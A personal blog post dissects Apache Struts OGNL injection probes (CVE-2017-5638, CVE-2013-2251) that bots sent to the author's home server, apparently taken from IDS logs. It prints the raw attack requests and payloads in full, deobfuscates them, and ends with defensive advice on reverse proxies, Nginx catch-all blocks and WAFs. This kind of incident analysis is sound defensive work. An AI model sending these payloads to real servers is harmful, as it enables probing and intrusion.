Being Attacked by Bots

On the 19th of January 2020, a malicious actor launched an attack against my home infrastructure. At 42 minutes after midnight a device located in Buenos Aires, Argentina began attacking my proxy server. For the next six minutes, approximately 150 malicious HTTP requests were made.

Fortunately, every single one of these requests was met with a HTTP/400 response, that’s because I don’t use Apache Struts 2 which this bot was attempting to exploit. Thanks to my IDS software, Suricata, I have a record of all of these requests and what they were attempting to do.

This is the same attack vector used Chinese state sponsored hackers who attacked and compromised Equifax in 2017. The tools that were used in that attack are likely very similar to the ones used on me, so maybe we’ll be able to take apart this attack and learn some more about how these exploits work.

The Attack

Content-Type header attack

Suricata detected this request as “Possible Apache Struts OGNL Expression Injection (CVE-2017-5638)”

The raw HTTP headers are as follows:

GET / HTTP/1.1
Host: 203.0.113.238
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36
Content-Type: %{(#fuck='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#req=@org.apache.struts2.ServletActionContext@getRequest()).(#outstr=@org.apache.struts2.ServletActionContext@getResponse().getWriter()).(#outstr.println(#req.getRealPath("/"))).(#outstr.close()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

That’s pretty nasty. What we’re hearing here is a fairly normal HTTP request up until the Content-Type header. This header contains some sort of script.

The contents of Content-Type can be exploded a little so that it makes a bit more sense:

(#fuck='multipart/form-data')
  .(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)
  .(#_memberAccess?(#_memberAccess=#dm):(
     (#container=#context[
        'com.opensymphony.xwork2.ActionContext.container'])
    .(#ognlUtil=#container.getInstance(
        @com.opensymphony.xwork2.ognl.OgnlUtil@class))
    .(#ognlUtil.getExcludedPackageNames().clear())
    .(#ognlUtil.getExcludedClasses().clear())
    .(#context.setMemberAccess(#dm))))
  .(#req=@org.apache.struts2.ServletActionContext@getRequest())
  .(#outstr=@org.apache.struts2.ServletActionContext@getResponse().getWriter())
  .(#outstr.println(#req.getRealPath("/")))
  .(#outstr.close())
  .(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))
  .(@org.apache.commons.io.IOUtils@copy(
      #process.getInputStream(),#ros))
  .(#ros.flush())

After a little searching, this is almost exactly the same as the RCE example from ExploitDB. While the PoC exploit is performing command injection, this request is simply testing that the prerequisites for a successful attack are in place. Unfortunately, I don’t have Struts in my environment, so that’s as far as our friends get with this exploit.

HTTP POST body

This request was flagged by the IDS software as “Possible Apache Struts OGNL Command Execution CVE-2013-2251 redirect”.

Unlike the previous one, this attempt lives in the HTTP POST body instead of the headers. This was patched many years ago, so it’s unlikely that it would have worked.

POST / HTTP/1.1
Host: 203.0.113.238
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.12.4
Content-type: application/x-www-form-urlencoded
Content-Length: 561

redirect:${#req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest'),#resp=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletRes'+'ponse'),#resp.setCharacterEncoding('UTF-8'),#resp.getWriter().print("web"),#resp.getWriter().print("path88888887:"),#resp.getWriter().print(#req.getSession().getServletContext().getRealPath("/")),#resp.getWriter().flush(),#resp.getWriter().close()}

This request is trying to concatenate multiple strings to slip past IDS systems. This may have worked in 2013, but it sure doesn’t now.

We can take apart this script to see what it does:

${
#req=#context.get(
    'com.opensymphony.xwork2.dispatcher.HttpServletRequest'),
#resp=#context.get(
    'com.opensymphony.xwork2.dispatcher.HttpServletResponse'),
#resp.setCharacterEncoding('UTF-8'),
#resp.getWriter().print("web"),
#resp.getWriter().print("path88888887:"),
#resp.getWriter().print(
  #req.getSession()
      .getServletContext()
      .getRealPath("/")
),
#resp.getWriter().flush(),
#resp.getWriter().close()
}

Again, it doesn’t look like this is necessarily doing anything malicious, but this will tell an attacker if the server is exploitable. If it was, they would come back later with their nasty friends later for a full on assault.

HTTP POST body

The next attempted attack was once again in the POST body. This request was identified as “Apache Struts Possible OGNL AllowStaticMethodAccess in client body,” Similar to the previous request.

POST / HTTP/1.1
Host: 203.0.113.238
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.12.4
Content-type: application/x-www-form-urlencoded
Content-Length: 252

a=1${(%23_memberAccess["allowStaticMethodAccess"]=true,%23req=@org.apache.struts2.ServletActionContext@getRequest(),%23k8out=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23k8out.println(%23req.getRealPath("/")),%23k8out.close())}

This time, it’s trying to trick the permissions system into letting itself in.

HTTP Request path exploit

The final attempt at hacking struts was a crafted HTTP request path.

GET //(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)?(#req=@org.apache.struts2.ServletActionContext@getRequest(),#wr=#context[#parameters.obj[0]].getWriter(),#wr.println(#req.getRealPath(#parameters.pp[0])),#wr.flush(),#wr.close()):xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&pp=/ HTTP/1.1
Host: 203.0.113.238
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.12.4
Content-type: application/x-www-form-urlencoded

I think this one is my favourite, because it’s trying to invoke a templating function on the server itself to rewrite the URL as an authorized one. Very sneaky.

What can we learn

First and foremost, this reinforces the need for web server log parsing tools, as well as intrusion detection systems, ideally both. Without these tools, I wouldn’t have been able to crack open these attacks and look inside.

After visibility, the next important part is actually stopping the attack. This is where defense in depth comes in. The simplest and most effective way to stop this is to put a reverse proxy out in front of the web application, stopping the malformed headers from being passed on to the backend server. I’m a big fan of Nginx for this purpose, but just about any HTTP reverse proxy will do the trick.

The next defense against this is to have a blackhole virtual host listening on all non-SNI requests. You will notice that all the requests did not use my actual hostname in the Host header, that’s because they don’t actually know what they’re attacking. So, rather than allow the server to forward those requests to the ‘closest match,’ I send them garbage back:

server {
    listen 80 default_server;
    server_name _;
    server_name_in_redirect off;
    return 402;
}
server {
    listen 443 ssl  default_server;
    server_name _;
    ssl_certificate     ssl-cert-snakeoil.pem;
    ssl_certificate_key ssl-cert-snakeoil.key;
    server_name_in_redirect off;
    return 402;
}

This way, they will always get a blank 402: Payment Required response, no matter what is sent.

Another, cheekier, default server block is what I like to use on external facing proxies at home:

server {
    listen 80 default_server;
    server_name _;
    server_name_in_redirect off;
    return 301 http://$remote_addr;
}
server {
    listen 443 ssl  default_server;
    server_name _;
    ssl_certificate /etc/ssl/certs/ssl-cert-snakeoil.pem;
    ssl_certificate_key /etc/ssl/private/ssl-cert-snakeoil.key;
    server_name_in_redirect off;
    return 301 http://$remote_addr;
}

Here, instead of returning a normal response we redirect back to the source IP. I doubt this actually causes any bots to attack themselves, but I like to think it does.

Finally, the ideal solution is to implement a proper Web Application Firewall. There are lots of them out there, and it really comes down to personal preference. The most common open source WAFs:

With these, a server admin has very granular control over the requests that they will accept or deny. For example, there’s really no reason that an HTTP header would need to have characters like (@org.apache.struts2... so most of these should be blocked and banned.

Furthermore, a smart WAF will be able to completely cut off a malicious IP after a few blocked requests. NAXSI has a very straightforward integration with fail2ban to block repeat offenders.

But, overall the most important takeaway is that a single layer of defense isn’t really enough. Just as we could patch a vulnerable install of Struts, an attacker could just as easily find a new hole. It’s an endless arms race, and the only way to get ahead is to build layer upon layer of defenses, each with their own strengths.

comments powered by Disqus